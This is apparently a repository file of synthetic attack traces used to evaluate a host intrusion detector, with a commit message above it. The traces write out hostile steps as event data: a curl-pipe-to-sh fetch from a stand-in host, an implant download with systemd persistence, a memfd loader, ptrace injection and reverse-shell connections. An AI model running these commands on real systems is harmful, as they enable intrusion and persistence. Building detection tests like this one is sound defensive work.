Some checks failed
Build and Test / build (debug, clang) (push) Has been cancelled
Build and Test / build (debug, gcc) (push) Has been cancelled
Build and Test / build (release, clang) (push) Has been cancelled
Build and Test / build (release, gcc) (push) Has been cancelled
Build and Test / macos (push) Has been cancelled
Build and Test / docker (push) Has been cancelled
--inject and --inject-train are now repeatable (training.trace plus threats-train.trace, standard.trace plus threats-eval.trace). Trace names must be unique across the files. standard.trace labelled its autostart write "XDG autostart", but the file watcher emits "desktop autostart", so that write never matched what a real host records. No gate evaluation has used standard.trace yet. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
45 lines
2.2 KiB
Text
45 lines
2.2 KiB
Text
# Standard attack traces for `strawberry --replay --inject` (Stage 3 evaluation).
|
|
# Format: include/strawberry/learn/trace.hpp. Paths under /home/u become
|
|
# /home/<U> in templates, so they look like any user's.
|
|
|
|
trace browser_curl_sh
|
|
+0s exec browser /usr/lib/firefox/firefox "firefox"
|
|
+20s exec sh /usr/bin/sh "sh -c curl -fsSL https://cdn-update.example/i.sh | sh" parent=browser
|
|
+20s exec curl /usr/bin/curl "curl -fsSL https://cdn-update.example/i.sh" parent=sh
|
|
+21s connect curl 203.0.113.10 443
|
|
+22s exec stage2 /usr/bin/bash "bash" parent=sh
|
|
+23s write stage2 /tmp/.X11-cache drop "temporary directory"
|
|
|
|
trace systemd_user_persistence
|
|
+0s exec shell /usr/bin/bash "bash"
|
|
+1s exec fetch /usr/bin/wget "wget -q -O /home/u/.local/bin/updater https://203.0.113.20/u" parent=shell
|
|
+2s connect fetch 203.0.113.20 80
|
|
+3s write shell /home/u/.config/systemd/user/updater.service persistence "systemd user unit"
|
|
+4s exec ctl /usr/bin/systemctl "systemctl --user enable --now updater.service" parent=shell
|
|
+5s exec implant /home/u/.local/bin/updater "/home/u/.local/bin/updater" parent=shell
|
|
+6s connect implant 198.51.100.20 8443
|
|
|
|
trace memfd_loader
|
|
+0s exec loader /usr/bin/python3 "python3 -c import os,urllib.request"
|
|
+1s connect loader 198.51.100.30 443
|
|
+2s exec payload "/memfd:kworker (deleted)" "[kworker/0:1]" parent=loader
|
|
+3s connect payload 198.51.100.30 4444
|
|
|
|
trace ptrace_injection
|
|
+0s exec victim /usr/bin/bash "bash"
|
|
+1s exec inject /tmp/.cache/hlp "/tmp/.cache/hlp -p 1234" parent=victim
|
|
+2s ptrace inject victim
|
|
+2s module inject
|
|
|
|
trace download_exec
|
|
+0s exec browser /usr/lib/chromium/chromium "chromium"
|
|
+5s write browser /home/u/Downloads/invoice.pdf.sh drop "downloads"
|
|
+30s exec shell /usr/bin/bash "bash"
|
|
+31s exec run /home/u/Downloads/invoice.pdf.sh "/home/u/Downloads/invoice.pdf.sh" parent=shell
|
|
+32s connect run 203.0.113.40 443
|
|
|
|
trace pdf_python
|
|
+0s exec viewer /usr/bin/evince "evince /home/u/Documents/invoice.pdf"
|
|
+3s exec py /usr/bin/python3 "python3 -c import socket,subprocess,os" parent=viewer
|
|
+4s connect py 198.51.100.50 4444
|
|
+5s write py /home/u/.config/autostart/evince-helper.desktop persistence "desktop autostart"
|